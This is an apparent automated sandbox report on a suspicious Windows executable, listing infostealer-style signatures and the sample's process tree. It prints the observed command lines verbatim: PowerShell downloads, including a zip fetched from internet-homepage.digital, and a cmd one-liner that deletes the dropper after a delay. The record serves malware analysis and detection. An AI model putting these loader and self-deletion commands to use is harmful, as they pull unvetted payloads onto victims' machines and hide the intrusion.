Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 23:59

General

  • Target
    a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
  • Size 5.1MB
  • Sample260910-313zhaxfnd
  • SHA256 a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Powershell Invoke Web Request.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe
    "C:\Users\Admin\AppData\Local\Temp\a26e7c0c9991d1dfd697f223f576332389c3666721fe5777fdf3b2b6c2125a33.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4744
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';$dir='ffmpeg';$zip=Join-Path $dir 'ffmpeg.zip';Invoke-WebRequest -Uri 'https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.zip' -OutFile $zip;Expand-Archive -Force $zip $dir;$ff=Get-ChildItem -Path $dir -Recurse -Filter ffmpeg.exe | Select-Object -First 1;if (-not $ff) { throw 'ffmpeg.exe not found after extraction'; }Copy-Item $ff.FullName -Destination (Join-Path $dir 'ffmpeg.exe') -Force;"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://internet-homepage.digital/ext2.zip' -OutFile './ext_download.zip'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';$dir='ffmpeg';$zip=Join-Path $dir 'ffmpeg.zip';Invoke-WebRequest -Uri 'https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.zip' -OutFile $zip;Expand-Archive -Force $zip $dir;$ff=Get-ChildItem -Path $dir -Recurse -Filter ffmpeg.exe | Select-Object -First 1;if (-not $ff) { throw 'ffmpeg.exe not found after extraction'; }Copy-Item $ff.FullName -Destination (Join-Path $dir 'ffmpeg.exe') -Force;"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5420
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C "ping 127.0.0.1 -n 3 >NUL & del sds.exe >NUL 2>&1"
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:888
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 3
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2264

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a4b03a6393d9add5b7b0fcf4274bf9d051fe04992984fde01b30553e9792eaee
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 09ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_oc5h1kdw.ff1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oc5h1kdw.ff1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/4744-0-0x0000000140000000-0x0000000140024000-memory.dmp

        memory/4756-12-0x000001932A5A0000-0x000001932A5B0000-memory.dmp

        memory/4756-11-0x000001932A5A0000-0x000001932A5B0000-memory.dmp

        memory/4756-13-0x000001932A5A0000-0x000001932A5B0000-memory.dmp

        memory/4756-10-0x000001932C820000-0x000001932C842000-memory.dmp

        memory/4756-2-0x000001932A5A0000-0x000001932A5B0000-memory.dmp

        memory/4756-1-0x000001932A5A0000-0x000001932A5B0000-memory.dmp

        memory/6096-18-0x000001DF735C0000-0x000001DF735D0000-memory.dmp

        memory/6096-17-0x000001DF735C0000-0x000001DF735D0000-memory.dmp

        memory/6096-27-0x000001DF735C0000-0x000001DF735D0000-memory.dmp

        memory/6096-28-0x000001DF735C0000-0x000001DF735D0000-memory.dmp